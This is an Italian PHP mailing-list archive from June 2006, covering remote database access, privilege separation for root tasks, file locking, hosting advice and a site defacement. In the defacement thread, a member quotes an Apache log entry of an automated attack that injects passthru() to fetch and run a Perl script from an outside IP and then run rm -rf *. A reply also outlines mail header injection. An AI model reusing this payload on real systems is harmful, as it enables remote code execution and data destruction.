dell'unset() degli oggetti :) siete sempre disponibilissimi Saluti Gianluca From cverondini at deis.unibo.it Fri Jun 9 00:51:48 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Fri Jun 9 00:54:17 2006 Subject: [Php-it] Query dirette su db remoto o via xmlrpc ? In-Reply-To: <44888EBF.2060309@ihuri.it> References: <44888EBF.2060309@ihuri.it> Message-ID: <8AF4D09A-2C8F-4B04-B964-267B29C2D783@deis.unibo.it> On 08/giu/06, at 22:55, Gianluca Ba? wrote: > In pratica: ? pi? veloce e performante una connessione diretta a un > server mysql remoto o una connessione http che poi fa eseguire le > query > alla macchina locale al server? Ovviamente una connessione diretta al server! :) Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ 114 190] From yaro at nectarine.info Fri Jun 9 09:08:42 2006 From: yaro at nectarine.info (yaro@nectarine.info) Date: Fri Jun 9 09:11:06 2006 Subject: [Php-it] [forse OT] offerta lavoro Message-ID: <1149836922.44891e7a735a5@mail.nectarine.it> buongiorno, sono nuovo e non so se sono offtopic in questa mailling list... stiamo cercando programmatori php in zona treviso/pordenone, qui sotto l'offerta un'attimo pi? dettagliata: Code: PHPDEV-3 (please put this code on the mail subject) Location: San Vendemiano, ITALY Job Description: Develop the PHP backend of high volume/transaction based web sites ensuring good user experience. Keep in mind the importance of providing secure and zero-bug code. Requirements Must: * Minimum 1 year experience of developing applications in PHP4 * Very good acquaintance with Web development technologies such as HTML, XML, JavaScript, AJAX, CSS * experience working with DBs (MySQL) * Knowledge and experience in OOP * Very good human relations and a team player * Good at reading & writing in English or Italian * Quick learner * Working and designing UI applications * Excellent understanding of Web application security * Have the patience and fortitude to work with your team to scope a project front to back before writing any code * Outstanding professional qualities (decisiveness, commitment, initiative, impact, energy and drive) * Ability to work under pressure * Design of application in UML Plus: * Apache experience Salary: * Depending on candidate skills If you are interested send your resume to info@agaweb.it with PHPDEV-3 in the subject. ./pier -------------------------------------------------------------------- 150MB of disk space, Webmail over SSL with address book, calendar, and organizer. Access thru Imap, Imap-SSL, Pop3, Pop3-SSL and Smtp. 5 different domains, antispam (spamassassin, bayes, razor, dcc) and mime filter, Up to 200mb per outgoing message. All free, is your current email having this functionalities ? Check http://www.nemail.it for registration and more info. This message is added automatically, for any information or support contact: support@nectarine.info; if it is spam dont hesitate to report it. -------------------------------------------------------------------- From maxter at email.it Fri Jun 9 09:49:54 2006 From: maxter at email.it (Max) Date: Fri Jun 9 09:52:11 2006 Subject: [Php-it] scrivere password unix Message-ID: <44892822.9030703@email.it> dovrei scrivere una interfaccia per permettere agli utenti di cambiare la password del loro account unix. mi stavo chiedendo qualche poteva essere il metodo migliore per dare modo a mod_php di ottenere i permessi di scrittura di etc/password e /etc/shadow nei commenti del manuale online di php ho trovato qualche suggerimento , come quello di inserire un file in posizione non leggibile da apache, dando poi a php i permessi per eseguirlo come sudoer, ma la cosa non mi pareva tanto 'carina' e sicura. lo script dovrebbe stare solo su una intranet per cui i requisiti di sicurezza non sono cos? 'stringenti', ma se fosse possibile trovare qualcosa di meglio..... grazie :-) Max From heber at dalberto.it Fri Jun 9 09:54:04 2006 From: heber at dalberto.it (Heber D'Alberto) Date: Fri Jun 9 09:59:26 2006 Subject: [Php-it] [forse OT] offerta lavoro In-Reply-To: <1149836922.44891e7a735a5@mail.nectarine.it> References: <1149836922.44891e7a735a5@mail.nectarine.it> Message-ID: <4489291C.3070208@dalberto.it> yaro@nectarine.info wrote: > buongiorno, > sono nuovo e non so se sono offtopic in questa mailling list... > stiamo cercando programmatori php in zona treviso/pordenone, > qui sotto l'offerta un'attimo pi? dettagliata: [...] Ma sbaglio o in questi casi si deve postare anche il nome della societ? che offre il lavoro? Qualcuno pi? esperto di me pu? confermare? Heber D'Alberto From AlberT at superalbert.it Fri Jun 9 10:00:09 2006 From: AlberT at superalbert.it (Emiliano Gabrielli (aka AlberT)) Date: Fri Jun 9 10:02:29 2006 Subject: [Php-it] scrivere password unix In-Reply-To: <44892822.9030703@email.it> References: <44892822.9030703@email.it> Message-ID: <200606091000.09308.AlberT@superalbert.it> On Friday 09 June 2006 09:49, Max wrote: > mi stavo chiedendo qualche poteva essere il metodo migliore per dare > modo a mod_php di ottenere i permessi di scrittura di etc/password e > /etc/shadow non dare a mod_php tale possibilit?!!! fai in modo che php crei un file con i cambiamenti necessari e che poi viene controllato periodicamente in cron da uno script (bash, perl, php, etc..) che gira come root e che esegue davvero il compito -- From david at tomato.it Fri Jun 9 10:19:11 2006 From: david at tomato.it (David Scatigna) Date: Fri Jun 9 10:21:20 2006 Subject: [Php-it] apache + mod_gzip + pdf + IE Message-ID: <44892EFF.80904@tomato.it> apache + mod_gzip + pdf + IE NON FUNZIONA :) bisogna togliere il mod_gzip ai file .pdf -- Saluti, Tomato Interactive David Scatigna [ Tomato.it - http://www.tomato.it ] From aldo.galimberti at txtgroup.com Fri Jun 9 10:22:39 2006 From: aldo.galimberti at txtgroup.com (Aldo Galimberti) Date: Fri Jun 9 10:24:59 2006 Subject: [Php-it] apache + mod_gzip + pdf + IE In-Reply-To: <44892EFF.80904@tomato.it> Message-ID: <446CC1010000153F@mail08.jumpyint.it> > >bisogna togliere il mod_gzip ai file .pdf > Una cosa che non capisco e' perche' comprimere ulteriormente i pdf che sono gia compressi di suo? -- Aldo Galimberti - TXT Polymedia S.p.A. v.Frigia 27 - 20126 Milano Tel. +39 02 257711 Fax. +39 02 2578994 From david at tomato.it Fri Jun 9 10:24:57 2006 From: david at tomato.it (David Scatigna) Date: Fri Jun 9 10:27:07 2006 Subject: [Php-it] apache + mod_gzip + pdf + IE In-Reply-To: <446CC1010000153F@mail08.jumpyint.it> References: <446CC1010000153F@mail08.jumpyint.it> Message-ID: <44893059.8090203@tomato.it> Aldo Galimberti wrote: >> bisogna togliere il mod_gzip ai file .pdf >> > > Una cosa che non capisco e' perche' comprimere ulteriormente i pdf che sono > gia compressi di suo? purtroppo nelle regole tipiche del mod_gzip non viene specificato il pdf ma solo le immagini, quindi di default ti ritrovi con questa impostazione -- Saluti, Tomato Interactive David Scatigna [ Tomato.it - http://www.tomato.it ] From php-it at manuelmartini.it Fri Jun 9 10:27:30 2006 From: php-it at manuelmartini.it (Martin) Date: Fri Jun 9 10:29:27 2006 Subject: [Php-it] apache + mod_gzip + pdf + IE In-Reply-To: <446CC1010000153F@mail08.jumpyint.it> References: <44892EFF.80904@tomato.it> <446CC1010000153F@mail08.jumpyint.it> Message-ID: <20060609102730.1f0ffbe1@DELOREAN.manuelmartini.it> Il giorno Fri, 9 Jun 2006 10:22:39 +0200 "Aldo Galimberti" ha scritto: > > > >bisogna togliere il mod_gzip ai file .pdf > > > > Una cosa che non capisco e' perche' comprimere ulteriormente i pdf > che sono gia compressi di suo? > > nel file di inclusione delle regole del deflate occorre mettere \.(?:gif|jpe?g|png|pdf)$ no-gzip dont-vary ciaoo From matteo.c at mif.it Fri Jun 9 10:54:15 2006 From: matteo.c at mif.it (Matteo C. - MIF) Date: Fri Jun 9 10:55:03 2006 Subject: [Php-it] CRM in php (5 magari) Message-ID: <44893737.4030900@mif.it> Ciao a tutti, mi sono state chieste di recente informazioni sulle possibilit? di sviluppo di un CRM. Ovviamente la rete mi ha fornito varie info su prodotti open, non-open, free e non-free. Mi era sembrato interessante il progetto SugarCRM. Venendo al punto, volevo chiedervi: conoscete prodotti CRM, sviluppati in PHP/Mysql (magari php5 con programmazione OO), validi, sia da un punto di vista dell'utilizzatore finale, che dal punto di vista dello sviluppatore (leggasi "mettere mano al codice") ? Ciao e grazie Matteo From mailinglist at webfrancesco.it Fri Jun 9 10:40:10 2006 From: mailinglist at webfrancesco.it (Francesco) Date: Fri Jun 9 10:58:12 2006 Subject: [Php-it] [forse OT] offerta lavoro In-Reply-To: <4489291C.3070208@dalberto.it> References: <1149836922.44891e7a735a5@mail.nectarine.it> <4489291C.3070208@dalberto.it> Message-ID: <448933EA.9020004@webfrancesco.it> Heber D'Alberto ha scritto: > Ma sbaglio o in questi casi si deve postare anche il nome della > societ? che offre il lavoro? > Qualcuno pi? esperto di me pu? confermare? > basta guardare l'email che c'? alla fine agaweb.it ciauz From heber at dalberto.it Fri Jun 9 11:14:14 2006 From: heber at dalberto.it (Heber D'Alberto) Date: Fri Jun 9 11:19:36 2006 Subject: [Php-it] [forse OT] offerta lavoro In-Reply-To: <448933EA.9020004@webfrancesco.it> References: <1149836922.44891e7a735a5@mail.nectarine.it> <4489291C.3070208@dalberto.it> <448933EA.9020004@webfrancesco.it> Message-ID: <44893BE6.9060907@dalberto.it> Francesco wrote: > basta guardare l'email che c'? alla fine > > agaweb.it L'avevo gi? vista. :-) Il dubbio era sul fatto che debba essere specificata espressamente oppure no. Heber D'Alberto From webmaster at teknemedia.net Fri Jun 9 11:21:20 2006 From: webmaster at teknemedia.net (webmaster@teknemedia.net) Date: Fri Jun 9 11:23:52 2006 Subject: [Php-it] Query dirette su db remoto o via xmlrpc ? In-Reply-To: <44888EBF.2060309@ihuri.it> References: <44888EBF.2060309@ihuri.it> Message-ID: <44893D90.7080807@teknemedia.net> Gianluca Ba? ha scritto: > ? meglio far collegare direttamente tutti i siti al server mysql ed > eseguire direttamente le query o ? meglio implementare un engine xmlrpc > che comunichi con un server sulla macchina dabase e che le query vengano > eseguite localmente e dopo i dati ricavati inviati come risposta? > > In pratica: ? pi? veloce e performante una connessione diretta a un > server mysql remoto o una connessione http che poi fa eseguire le query > alla macchina locale al server? Bh? sicuramente ? pi? rapida la connessione al server ... Ma se usi bene xml-rpc ? facile cachare i dati del webservices. Quindi se non hai bisono di interrogare ogni volta il db centrale, se non per leggere le configurazioni, allora pu? essere alla fine ? pi? performante xml-rpc, in quanto puoi cachare in locale i dati di configurazione invece che leggerli ogni volta sul server centrale. Ciao Davide From mailinglist at webfrancesco.it Fri Jun 9 14:29:07 2006 From: mailinglist at webfrancesco.it (Francesco) Date: Fri Jun 9 14:31:35 2006 Subject: [Php-it] [forse OT] offerta lavoro In-Reply-To: <44893BE6.9060907@dalberto.it> References: <1149836922.44891e7a735a5@mail.nectarine.it> <4489291C.3070208@dalberto.it> <448933EA.9020004@webfrancesco.it> <44893BE6.9060907@dalberto.it> Message-ID: <44896993.2060901@webfrancesco.it> Heber D'Alberto ha scritto: > L'avevo gi? vista. :-) > Il dubbio era sul fatto che debba essere specificata espressamente > oppure no. Sarebbe meglio per loro specificare espressamente. Ma noi siamo troppo avanti e capiamo lo stesso :D Fra From gianluca at ihuri.it Fri Jun 9 15:33:16 2006 From: gianluca at ihuri.it (=?ISO-8859-15?Q?Gianluca_Ba=F9?=) Date: Fri Jun 9 15:35:43 2006 Subject: [Php-it] Sincronizzare l'accesso a un file In-Reply-To: <200606051247.48736.AlberT@superalbert.it> References: <44801576.2000308@ihuri.it> <44804C32.3060000@beccati.com> <44840B1D.3080902@ihuri.it> <200606051247.48736.AlberT@superalbert.it> Message-ID: <4489789C.2010302@ihuri.it> Emiliano Gabrielli (aka AlberT) ha scritto: >________________SPONSOR______________ >On Monday 05 June 2006 12:44, Gianluca Ba? wrote: > > >>/* Apro il file per la scrittura */ >>$fp = fopen($file_path, "w"); >> >> >> > >qui hai svuotato il file !! > > > >>while ( !flock($fp, LOCK_EX) && $tentativi != 0 ) >>{ >> /* Decremento i tentativi possibili */ >> $tentativi--; >>} >> >>/* Riscrivo il file con il numero del sito successivo */ >>fwrite($fp, "ROBA DA SCRIVERE"); >> >>/* Rilascio il lock */ >>flock($fp, LOCK_UN); >> >> > >se vuoi usare flock devi usare un secondo file (di lock appunto) su cui >acquisire il lock! occhio che flock non ? atomica in ambienti multithread .. >meglio usare mkdir a questo punto (trovi spunti sul man) > > > Ciao, continuo il thread. Potresti farmi un piccolo esempio pratico per chiarire la questione per favore? Poi lo prendo come spunto e ci lavoro sopra. Grazie :) Gianluca From AlberT at superalbert.it Fri Jun 9 15:37:29 2006 From: AlberT at superalbert.it (Emiliano Gabrielli (aka AlberT)) Date: Fri Jun 9 15:39:55 2006 Subject: [Php-it] Sincronizzare l'accesso a un file In-Reply-To: <4489789C.2010302@ihuri.it> References: <44801576.2000308@ihuri.it> <200606051247.48736.AlberT@superalbert.it> <4489789C.2010302@ihuri.it> Message-ID: <200606091537.29379.AlberT@superalbert.it> On Friday 09 June 2006 15:33, Gianluca Ba? wrote: "> Emiliano Gabrielli (aka AlberT) ha scritto:" scusa ma a me ? arrivata cos? ... -- From gianluca at ihuri.it Fri Jun 9 15:41:03 2006 From: gianluca at ihuri.it (=?ISO-8859-15?Q?Gianluca_Ba=F9?=) Date: Fri Jun 9 15:43:29 2006 Subject: [Php-it] Sincronizzare l'accesso a un file In-Reply-To: <4489789C.2010302@ihuri.it> References: <44801576.2000308@ihuri.it> <44804C32.3060000@beccati.com> <44840B1D.3080902@ihuri.it> <200606051247.48736.AlberT@superalbert.it> <4489789C.2010302@ihuri.it> Message-ID: <44897A6F.50503@ihuri.it> >>> /* Apro il file per la scrittura */ >>> $fp = fopen($file_path, "w"); >>> >>> >> >> >> qui hai svuotato il file !! >> >> >> >>> while ( !flock($fp, LOCK_EX) && $tentativi != 0 ) >>> { >>> /* Decremento i tentativi possibili */ >>> $tentativi--; >>> } >>> >>> /* Riscrivo il file con il numero del sito successivo */ >>> fwrite($fp, "ROBA DA SCRIVERE"); >>> >>> /* Rilascio il lock */ >>> flock($fp, LOCK_UN); >>> >> >> >> se vuoi usare flock devi usare un secondo file (di lock appunto) su >> cui acquisire il lock! occhio che flock non ? atomica in ambienti >> multithread .. meglio usare mkdir a questo punto (trovi spunti sul man) >> >> >> > Ciao, > continuo il thread. Potresti farmi un piccolo esempio pratico per > chiarire la questione per favore? > Poi lo prendo come spunto e ci lavoro sopra. > > Grazie :) > > Gianluca Meglio? From AlberT at superalbert.it Fri Jun 9 16:36:24 2006 From: AlberT at superalbert.it (Emiliano Gabrielli (aka AlberT)) Date: Fri Jun 9 16:38:47 2006 Subject: [Php-it] Sincronizzare l'accesso a un file In-Reply-To: <44897A6F.50503@ihuri.it> References: <44801576.2000308@ihuri.it> <4489789C.2010302@ihuri.it> <44897A6F.50503@ihuri.it> Message-ID: <200606091636.24975.AlberT@superalbert.it> On Friday 09 June 2006 15:41, Gianluca Ba? wrote: > >> > >> se vuoi usare flock devi usare un secondo file (di lock appunto) su > >> cui acquisire il lock! occhio che flock non ? atomica in ambienti > >> multithread .. meglio usare mkdir a questo punto (trovi spunti sul man) > > > > Ciao, > > continuo il thread. Potresti farmi un piccolo esempio pratico per > > chiarire la questione per favore? > > Poi lo prendo come spunto e ci lavoro sopra. > > > > Grazie :) > > > > Gianluca > > Meglio? yes http://us2.php.net/manual/en/function.flock.php#46085 -- From andreatmp at tiscali.it Fri Jun 9 21:19:12 2006 From: andreatmp at tiscali.it (andreaaz) Date: Fri Jun 9 19:32:48 2006 Subject: [Php-it] [OT] LAVORO Message-ID: <1149880752.7962.9.camel@giuggio> Salve ragazzi/e, la societ? con cui collaboro go-project cerca programmatori php. E' una piccola societ?, ma lavora in team formati da esperti delle aziende piu grandi del settore(es. Reply, Sogei). Se siete interessati contattatemi anche in privato. Il luogo di lavoro ? Roma. Andrea Basile From marmopasquale at tiscali.it Sat Jun 10 09:31:57 2006 From: marmopasquale at tiscali.it (Marmo Pasquale) Date: Sat Jun 10 09:35:07 2006 Subject: [Php-it] Servizio Hosting Message-ID: <001501c68c60$0a18bbe0$97025397@portatile> Buongiorno, non so se sono OT vorrei un consiglio sull'acquisto di un pacchetto Hosting, le mie richieste sono OS linux Dominio Php 5 + Mysql (anche 1 solo database) Possibilit? di modificare i CHMOD delle cartelle Quale societ? mi consigliate? Grazie. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060610/195ff773/attachment.html From ml1 at key5.com Sat Jun 10 17:16:48 2006 From: ml1 at key5.com (Nicola Delbono) Date: Sat Jun 10 17:19:24 2006 Subject: [Php-it] tabella prefissi telefonici -> zona geografica o cap. Message-ID: <200606101716480203.0198EF12@localhost> Avete mica sottomano una tabella o database che associ un prefisso telefonico al cap? o comunque alla zona geografica? grazie. Ciao. -- Fai fruttare i tuoi domini inutilizzati con click pagati il doppio degli altri! http://referer.it/a9d33 www.low-cost-flighs.org www.bedandbreakfastonline.it www.referer.it www.gotpr10.com From myfender at tiscali.it Sun Jun 11 09:28:37 2006 From: myfender at tiscali.it (myfender) Date: Sun Jun 11 09:31:13 2006 Subject: [Php-it] Servizio Hosting In-Reply-To: <001501c68c60$0a18bbe0$97025397@portatile> References: <001501c68c60$0a18bbe0$97025397@portatile> Message-ID: <448BC625.8080506@tiscali.it> Prova con excom (www.excom.it) Ciao Ignazio Marmo Pasquale ha scritto: > > Buongiorno, non so se sono OT vorrei un consiglio sull'acquisto di un > pacchetto Hosting, le mie richieste sono > OS linux > Dominio > Php 5 + Mysql > (anche 1 solo database) > Possibilit? di modificare i CHMOD delle cartelle > Quale societ? mi consigliate? > Grazie. > -- Un Centro Commerciale Sardo? http://www.vetrinesarde.it I tuoi acquisti con un click! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060611/d4e447d5/attachment.htm From mailinglist at webfrancesco.it Sun Jun 11 11:13:31 2006 From: mailinglist at webfrancesco.it (Francesco) Date: Sun Jun 11 11:16:14 2006 Subject: [Php-it] Servizio Hosting In-Reply-To: <448BC625.8080506@tiscali.it> References: <001501c68c60$0a18bbe0$97025397@portatile> <448BC625.8080506@tiscali.it> Message-ID: <448BDEBB.1070408@webfrancesco.it> Io mi trovo bene con Serverplan http://www.serverplan.com/ Buoni prezzi con molti servizi > Marmo Pasquale ha scritto: >> >> Buongiorno, non so se sono OT vorrei un consiglio sull'acquisto di un >> pacchetto Hosting, le mie richieste sono >> OS linux >> Dominio >> Php 5 + Mysql >> (anche 1 solo database) >> Possibilit? di modificare i CHMOD delle cartelle >> Quale societ? mi consigliate? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060611/5aa2576e/attachment.html From telegraph.road at gmail.com Sun Jun 11 14:58:46 2006 From: telegraph.road at gmail.com (Matteo Miraz) Date: Sun Jun 11 15:01:31 2006 Subject: [Php-it] PHP e IPTables Message-ID: <51bd605b0606110558u7d73ce9bxc30a6e9f391eba3a@mail.gmail.com> Ciao a tutti, devo realizzare un sistema di gestione in php di un firewall-router basato su iptables. Purtroppo i sistemi gi? presenti non permettono di fare quello che devo fare, per cui devo necessariamente scrivere una mia applicazione ad hoc. Tuttavia, prima di iniziare, mi sto ponendo il problema di come permettere agli script php di accedere e gestire il firewall... per invocare il comando iptables infatti dovrei essere root... ma non vorrei far girare tutto apache con quei privilegi, per mettermi al riparo da eventuali vunerabilit?. Qualcuno ha dei suggerimenti su come aggirare il problema? Grazie, Matteo -- ciao, teo 20 minutes is the average that a Windows based PC lasts before it's compromised. (Internet Storm Center) From dierre at dierrelabs.org Sun Jun 11 19:47:03 2006 From: dierre at dierrelabs.org (DierRe) Date: Sun Jun 11 19:49:49 2006 Subject: [Php-it] fsockopen e fputs Message-ID: <2f5f89560606111047g3619a810w4737b0005cc5086d@mail.gmail.com> Uso queste due funzioni per dialogare con una console di un server sphere (Ultima Online). Quello che deve fare ? questo programmino ? creare account. Come faccio a prendere ci? che mi dice il server? Cio? per esempio io faccio add account in console, sto add account mi restituisce un errore se l'user gi? esiste. Come fo a carpire tale informazione? -- www . dierrelabs . org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060611/75831b1e/attachment.htm From cverondini at deis.unibo.it Sun Jun 11 20:20:39 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Sun Jun 11 20:23:40 2006 Subject: [Php-it] PHP e IPTables In-Reply-To: <51bd605b0606110558u7d73ce9bxc30a6e9f391eba3a@mail.gmail.com> References: <51bd605b0606110558u7d73ce9bxc30a6e9f391eba3a@mail.gmail.com> Message-ID: On 11/giu/06, at 14:58, Matteo Miraz wrote: > Tuttavia, prima di iniziare, mi sto ponendo il problema di come > permettere agli script php di accedere e gestire il firewall... per > invocare il comando iptables infatti dovrei essere root... ma non > vorrei far girare tutto apache con quei privilegi, per mettermi al > riparo da eventuali vunerabilit?. Un demone che gira come root sotto cron controlla un file che la tua interfaccia web scrive, con dentro l'elenco di quello che deve fare. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ 114 190] From php at beccati.com Sun Jun 11 22:53:42 2006 From: php at beccati.com (Matteo Beccati) Date: Sun Jun 11 22:56:41 2006 Subject: [Php-it] fsockopen e fputs In-Reply-To: <2f5f89560606111047g3619a810w4737b0005cc5086d@mail.gmail.com> References: <2f5f89560606111047g3619a810w4737b0005cc5086d@mail.gmail.com> Message-ID: <448C82D6.9070101@beccati.com> DierRe ha scritto: > Uso queste due funzioni per dialogare con una console di un server > sphere (Ultima Online). > Quello che deve fare ? questo programmino ? creare account. > Come faccio a prendere ci? che mi dice il server? Cio? per esempio io > faccio add account in console, sto add account mi restituisce un errore > se l'user gi? esiste. Come fo a carpire tale informazione? fgets? Ciao ciao -- Matteo Beccati http://phpadsnew.com http://phppgads.com From beppebz at interfree.it Mon Jun 12 00:16:29 2006 From: beppebz at interfree.it (beppebz) Date: Mon Jun 12 00:19:14 2006 Subject: [Php-it] (forse OT)Vecchie glorie Message-ID: <448C963D.80509@interfree.it> Ciao a tutti. Per esercizio personale ho creato un database MySQL dal nome "Videoteca" ed ho inserito, nella tabella film, 5 titoli (i giovanissimi mi perdonino se non li conoscono): 1 'Indovina chi viene a cena' (con Spencer Tracy e Katherine Hepburn) 2 'Sabrina' (AUDREY Hepburn ed Humphrey Bogart) 3 'Joe il pilota' (Spencer Tracy) 4 "La Regina d'Africa" (K. Hepburn ed H. Bogart) [doppie virgolette per l'apostrofo] 5 'Vacanze Romane' (A. Hepburn e Gregory Peck). [Campi: film_id= tinyint(3) chiave primaria unsigned auto_increment; titolo= varchar(50) NOT NULL] Poi, seguendo il manuale (S. Rubini, "MySQL", pagg 70 ss), ho creato una tabella "attori" [att_id=tinyint(3) primaria unsigned auto_increment; film_id= tinyint(3) unsigned NOT NULL; att_nome= varchar(30)] ed ho cominciato a popolarla: insert into attori (film_id, att_nome) VALUES (1, 'Spencer Tracy'); insert into attori (film_id, att_nome) values (1, 'Katherine Hepburn'); e cos? via. Solo che , al fim numero 3, c'? un attore gi? censito. Per cui, se faccio insert into attori (film_id, att_nome) values (3, 'Spencer Tracy'), per lui va benissimo. Poi, con select * from attori, ottengo 1 Spencer Tracy 2 Katherine Hepburn ... ....... 5 Spencer Tracy (ed il problema si ripropone per tutti gli altri attori, escluso Gregory Peck) Oib?. Come posso censire un singolo artista una volta sola e contemporaneamente dire che ha partecipato ai film X, Y e Z usando queste due tabelle? Perdonate la prolissit? e grazie a tutti, Bep From m_invernizzi at tiscali.it Mon Jun 12 10:20:11 2006 From: m_invernizzi at tiscali.it (marco invernizzi) Date: Mon Jun 12 10:22:59 2006 Subject: [Php-it] attacco hacker Message-ID: <448D23BB.3050105@tiscali.it> Ciao a tutti, forse sono un po' OT, ma mi ? successo questo. Mi sono entrati su un sito hostato su Aruba sostituendomi la homepage. Il sito conteneva qualche riga di php: un paio di include per generare l'interno della pagina e un collegamento al db per segnare gli accessi. Secondo voi ci possono essere vulnerabilit? in pezzetti di script cos? semplici? Oppure Aruba lascia aperto qualche buco (php o altro)? La firma era di un certo coldied, che parrebbe essere brasiliano marco From php-it at manuelmartini.it Mon Jun 12 10:22:36 2006 From: php-it at manuelmartini.it (Martin) Date: Mon Jun 12 10:25:28 2006 Subject: [Php-it] attacco hacker In-Reply-To: <448D23BB.3050105@tiscali.it> References: <448D23BB.3050105@tiscali.it> Message-ID: <20060612102236.63c97e9b@localhost> Il giorno Mon, 12 Jun 2006 10:20:11 +0200 marco invernizzi ha scritto: > Ciao a tutti, > forse sono un po' OT, ma mi ? successo questo. > Mi sono entrati su un sito hostato su Aruba sostituendomi la homepage. > Il sito conteneva qualche riga di php: un paio di include per generare > l'interno della pagina e un collegamento al db per segnare gli > accessi. Secondo voi ci possono essere vulnerabilit? in pezzetti di > script cos? semplici? certo... dipende tutto da come sono fatti e da come "includono" :-) > Oppure Aruba lascia aperto qualche buco (php o altro)? molto piu probabile un errore nei tuoi script > From matteo at xelefant.com Mon Jun 12 10:27:06 2006 From: matteo at xelefant.com (Tinazzi Matteo) Date: Mon Jun 12 10:30:09 2006 Subject: [Php-it] attacco hacker References: <448D23BB.3050105@tiscali.it> Message-ID: <00c501c68dfa$00fc8f50$7500a8c0@Matteo> marco invernizzi wrote: > Ciao a tutti, > forse sono un po' OT, ma mi ? successo questo. > Mi sono entrati su un sito hostato su Aruba sostituendomi la homepage. > Il sito conteneva qualche riga di php: un paio di include per generare > l'interno della pagina e un collegamento al db per segnare gli > accessi. Secondo voi ci possono essere vulnerabilit? in pezzetti di > script cos? semplici? > Oppure Aruba lascia aperto qualche buco (php o altro)? > La firma era di un certo coldied, che parrebbe essere brasiliano > > marco certo che ci possono essere vulnerabilit? su script anche piccoli! basta anche una sola istruzione php per offrire vulnerabilit?. ? molto probabile che il problema sia del tuo script pi? che di aruba ciau ------------------------------------ Tinazzi Matteo X-Elefant Software s.r.l. Via Treviso 61/13 31057 Silea (Treviso) ICQ# 71-883-066 ------------------------------------ From m_invernizzi at tiscali.it Mon Jun 12 11:00:52 2006 From: m_invernizzi at tiscali.it (marco invernizzi) Date: Mon Jun 12 11:04:10 2006 Subject: [Php-it] attacco hacker In-Reply-To: <00c501c68dfa$00fc8f50$7500a8c0@Matteo> References: <448D23BB.3050105@tiscali.it> <00c501c68dfa$00fc8f50$7500a8c0@Matteo> Message-ID: <448D2D44.2020509@tiscali.it> Tinazzi Matteo ha scritto: > > certo che ci possono essere vulnerabilit? su script anche piccoli! > basta anche una sola istruzione php per offrire vulnerabilit?. > > ? molto probabile che il problema sia del tuo script pi? che di aruba > > ciau > S?, credo di aver capito... ho lasciato una include un po' "allegra"... -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060612/0adaddc8/attachment.html From cverondini at deis.unibo.it Mon Jun 12 11:32:56 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Mon Jun 12 11:36:40 2006 Subject: [Php-it] attacco hacker References: <448D23BB.3050105@tiscali.it><00c501c68dfa$00fc8f50$7500a8c0@Matteo> <448D2D44.2020509@tiscali.it> Message-ID: <06b101c68e03$32bef7e0$6301a8c0@IdeaFutura.local> S?, credo di aver capito... ho lasciato una include un po' "allegra"... Come era fatta? Secondo voi usano dei tool automatici per scoprire queste vulnerabilit?? A me ? capitato di trovare dei tentativi ovviamente automatici per degli script che mandavano mail. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060612/da85ca3b/attachment.htm From php-it at manuelmartini.it Mon Jun 12 11:42:28 2006 From: php-it at manuelmartini.it (Martin) Date: Mon Jun 12 11:45:19 2006 Subject: [Php-it] attacco hacker In-Reply-To: <06b101c68e03$32bef7e0$6301a8c0@IdeaFutura.local> References: <448D23BB.3050105@tiscali.it> <00c501c68dfa$00fc8f50$7500a8c0@Matteo> <448D2D44.2020509@tiscali.it> <06b101c68e03$32bef7e0$6301a8c0@IdeaFutura.local> Message-ID: <20060612114228.79230ca6@localhost> Il giorno Mon, 12 Jun 2006 11:32:56 +0200 "Cristiano Verondini" ha scritto: > Secondo voi usano dei tool automatici per scoprire queste > vulnerabilit?? A me ? capitato di trovare dei tentativi ovviamente > automatici per degli script che mandavano mail. > si ce ne sono tanti di scriptini che cercano i tag
prendono la pagina destinazione e fanno mail inject sfruttando il fatto che la funziona mail non fa distinzione tra header o meno quindi se uno non controlla la presenza di "\n" si ritrova un mass mailer da web.. alla merce' di chiunque ciao ciao From m.vezzelli at e-works.it Mon Jun 12 11:43:39 2006 From: m.vezzelli at e-works.it (Marcello Vezzelli) Date: Mon Jun 12 11:46:35 2006 Subject: [Php-it] attacco hacker In-Reply-To: <06b101c68e03$32bef7e0$6301a8c0@IdeaFutura.local> References: <448D23BB.3050105@tiscali.it><00c501c68dfa$00fc8f50$7500a8c0@Matteo> <448D2D44.2020509@tiscali.it> <06b101c68e03$32bef7e0$6301a8c0@IdeaFutura.local> Message-ID: <448D374B.8080606@e-works.it> Cristiano Verondini ha scritto: > > S?, credo di aver capito... ho lasciato una include un po' > "allegra"... > > Come era fatta? > > Secondo voi usano dei tool automatici per scoprire queste > vulnerabilit?? A me ? capitato di trovare dei tentativi ovviamente > automatici per degli script che mandavano mail. Si, di solito vengono utilizzati dei tool automatici che sfruttano vulnerabilit? note di pacchetti gi? pronti. Questa ? l'ultimo che ho nei log... 72.231.13.150 - - [11/Jun/2006:15:18:32 +0200] "GET /services/help/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22200.93.205.198%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22200.93.205.198%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22200.93.205.198%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 344 Questo ? per mambo... 64.84.32.91 - - [10/Jun/2006:19:24:37 +0200] "GET 